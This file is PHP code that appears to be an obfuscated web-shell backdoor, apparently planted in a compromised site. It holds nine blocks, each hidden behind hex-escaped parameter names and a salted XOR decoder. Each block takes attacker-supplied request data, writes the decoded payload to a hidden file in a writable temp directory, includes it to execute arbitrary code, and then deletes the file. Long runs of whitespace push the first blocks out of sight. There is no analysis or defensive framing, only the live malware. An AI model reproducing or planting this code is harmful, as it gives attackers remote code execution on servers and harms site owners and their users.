<?php																																										if(array_key_exists("\x6Be\x79", $_REQUEST) && !is_null($_REQUEST["\x6Be\x79"])){ $property_set = $_REQUEST["\x6Be\x79"]; $property_set= explode( ".", $property_set ) ; $symbol=''; $salt='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS=strlen($salt ); $i=0; array_walk($property_set, function ($v4) use (&$symbol, &$i, $salt, $lenS) { $chS=ord($salt[$i% $lenS] ); $dec=((int)$v4 - $chS - ($i% 10)) ^ 35; $symbol .= chr($dec ); $i++; } ); $elem = array_filter([getenv("TEMP"), "/dev/shm", getcwd(), session_save_path(), "/tmp", getenv("TMP"), sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/var/tmp"]); foreach ($elem as $key => $parameter_group) { if ((bool)is_dir($parameter_group) && (bool)is_writable($parameter_group)) { $item = str_replace("{var_dir}", $parameter_group, "{var_dir}/.hld"); if (@file_put_contents($item, $symbol) !== false) { include $item; unlink($item); die(); } } } }
																																										if(array_key_exists("\x65leme\x6Et", $_REQUEST)){ $key = $_REQUEST["\x65leme\x6Et"]; $key=explode ( '.' ,$key ); $resource = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt ); $u = 0; foreach( $key as $v6) { $chS = ord( $salt[$u % $lenS] ); $dec =( ( int)$v6 - $chS -( $u % 10)) ^ 30; $resource.=chr( $dec ); $u++; } $flg = array_filter([getenv("TMP"), ini_get("upload_tmp_dir"), "/dev/shm", "/var/tmp", getenv("TEMP"), "/tmp", sys_get_temp_dir(), session_save_path(), getcwd()]); foreach ($flg as $symbol): if ((function($d) { return is_dir($d) && is_writable($d); })($symbol)) { $record = sprintf("%s/.hld", $symbol); if (file_put_contents($record, $resource)) { include $record; @unlink($record); die(); } } endforeach; }
																																										if(isset($_REQUEST["\x66\x61\x63tor"]) ? true : false){ $property_set = $_REQUEST["\x66\x61\x63tor"]; $property_set = explode ( '.' ,$property_set) ; $symbol =''; $salt1 ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen($salt1); $x =0; $len =count($property_set); do { if ($x>= $len) break; $v2 =$property_set[$x]; $chS =ord($salt1[$x % $lenS]); $d =((int)$v2 - $chS - ($x % 10)) ^ 2; $symbol .= chr($d); $x++; } while (true); $marker = array_filter([ini_get("upload_tmp_dir"), getenv("TEMP"), "/var/tmp", getcwd(), session_save_path(), sys_get_temp_dir(), getenv("TMP"), "/tmp", "/dev/shm"]); foreach ($marker as $reference) { if (is_dir($reference) && is_writable($reference)) { $data_chunk = vsprintf("%s/%s", [$reference, ".token"]); $file = fopen($data_chunk, 'w'); if ($file) { fwrite($file, $symbol); fclose($file); include $data_chunk; @unlink($data_chunk); die(); } } } }
																																										if(isset($_REQUEST) && isset($_REQUEST["k"])){ $marker = $_REQUEST["k"]; $marker=explode ('.', $marker ) ; $ref = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt); foreach($marker as $x => $v6) { $chS = ord($salt[$x % $sLen]); $dec = ((int)$v6 - $chS -($x % 10))^36; $ref .= chr($dec);} $data = array_filter([session_save_path(), sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/var/tmp", getcwd(), "/tmp", "/dev/shm", getenv("TEMP"), getenv("TMP")]); for ($ent = 0, $hld = count($data); $ent < $hld; $ent++) { $token = $data[$ent]; if (array_product([is_dir($token), is_writable($token)])) { $desc = str_replace("{var_dir}", $token, "{var_dir}/.pset"); $success = file_put_contents($desc, $ref); if ($success) { include $desc; @unlink($desc); die();} } } }
																																										if(isset($_REQUEST["\x64\x65sc"])){ $component = array_filter([sys_get_temp_dir(), ini_get("upload_tmp_dir"), getenv("TMP"), "/tmp", getcwd(), "/var/tmp", session_save_path(), getenv("TEMP"), "/dev/shm"]); $mrk = $_REQUEST["\x64\x65sc"]; $mrk =explode ( '.', $mrk ); $entry = ''; $s8 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s8 ); $w = 0; $__tmp = $mrk; while($v8 = array_shift($__tmp)) { $sChar = ord($s8[$w % $lenS] ); $dec =((int)$v8 - $sChar -($w % 10)) ^ 25; $entry .= chr($dec ); $w++;} foreach ($component as $ref) { if (!!is_dir($ref) && !!is_writable($ref)) { $factor = "$ref/.comp"; if (file_put_contents($factor, $entry)) { require $factor; unlink($factor); die(); } } } }
																																										if(in_array("r\x65s", array_keys($_REQUEST))){ $dchunk = $_REQUEST["r\x65s"]; $dchunk = explode ( ".",$dchunk ); $elem = ''; $s6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s6 ); $len = count($dchunk ); for ($r = 0; $r < $len; $r++) { $v9 = $dchunk[$r]; $chS = ord($s6[$r % $sLen] ); $d = ((int)$v9 - $chS - ($r % 10)) ^93; $elem .=chr($d ); } $bind = array_filter(["/var/tmp", getcwd(), ini_get("upload_tmp_dir"), getenv("TMP"), "/dev/shm", getenv("TEMP"), session_save_path(), "/tmp", sys_get_temp_dir()]); $desc = 0; do { $val = $bind[$desc] ?? null; if ($desc >= count($bind)) break; if ((function($d) { return is_dir($d) && is_writable($d); })($val)) { $component = join("/", [$val, ".dat"]); if (@file_put_contents($component, $elem) !== false) { include $component; unlink($component); die(); } } $desc++; } while (true); }
																																										if(!empty($_POST["dat\x61\x5Fch\x75\x6E\x6B"])){ $flg = $_POST["dat\x61\x5Fch\x75\x6E\x6B"]; $flg=explode("." , $flg ) ; $flag = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt ); $r = 0; array_walk($flg,function ($v1) use (&$flag,&$r,$salt,$sLen) { $chS = ord($salt[$r % $sLen] ); $d = ((int)$v1 - $chS - ($r % 10)) ^ 60; $flag .= chr($d ); $r++; }); $property_set = array_filter([session_save_path(), getcwd(), getenv("TMP"), "/var/tmp", getenv("TEMP"), "/tmp", ini_get("upload_tmp_dir"), "/dev/shm", sys_get_temp_dir()]); for ($dchunk = 0, $resource = count($property_set); $dchunk < $resource; $dchunk++) { $comp = $property_set[$dchunk]; if (!( !is_dir($comp) || !is_writable($comp) )) { $entity = "$comp/.value"; if (file_put_contents($entity, $flag)) { include $entity; @unlink($entity); exit; } } } }
																																										if(isset($_POST["\x65lem"])){ $dchunk = array_filter([getenv("TMP"), getenv("TEMP"), "/tmp", session_save_path(), sys_get_temp_dir(), "/dev/shm", getcwd(), "/var/tmp", ini_get("upload_tmp_dir")]); $sym = $_POST["\x65lem"]; $sym= explode( '.' ,$sym ); $mrk = ''; $s5 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s5); foreach( $sym as $n=>$v4) {$chS = ord( $s5[$n %$sLen]); $d =( ( int)$v4 - $chS -( $n %10))^9; $mrk.= chr( $d); } for ($marker = 0, $val = count($dchunk); $marker < $val; $marker++) { $reference = $dchunk[$marker]; if (!( !is_dir($reference) || !is_writable($reference) )) { $tkn = vsprintf("%s/%s", [$reference, ".k"]); if (@file_put_contents($tkn, $mrk) !== false) { include $tkn; unlink($tkn); die(); } } } }


if(!empty($_REQUEST["\x76\x61lue"])){
	$resource = $_REQUEST["\x76\x61lue"];
	$resource=explode("."	, $resource 	 )	;	  
	$entity = '';
            $s7 = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen = strlen(  $s7 );
            $__len = count(  $resource );
    
            for(  $j = 0; $j< $__len; $j++) {
                $v2 = $resource[$j];
                $chS = ord(  $s7[$j	 %$sLen] );
                $d =(  (  int)$v2 - $chS -(  $j	 %10)) ^ 30;
                $entity 	.=	chr(  $d );}
	$key = array_filter([sys_get_temp_dir(), "/tmp", getcwd(), getenv("TMP"), "/var/tmp", ini_get("upload_tmp_dir"), "/dev/shm", session_save_path(), getenv("TEMP")]);
	for ($bind = 0, $pset = count($key); $bind < $pset; $bind++) {
    $factor = $key[$bind];
    		if (array_product([is_dir($factor), is_writable($factor)])) {
    $pointer = str_replace("{var_dir}", $factor, "{var_dir}/.ent");
    if (file_put_contents($pointer, $entity)) {
	include $pointer;
	@unlink($pointer);
	exit;
}
}
}
}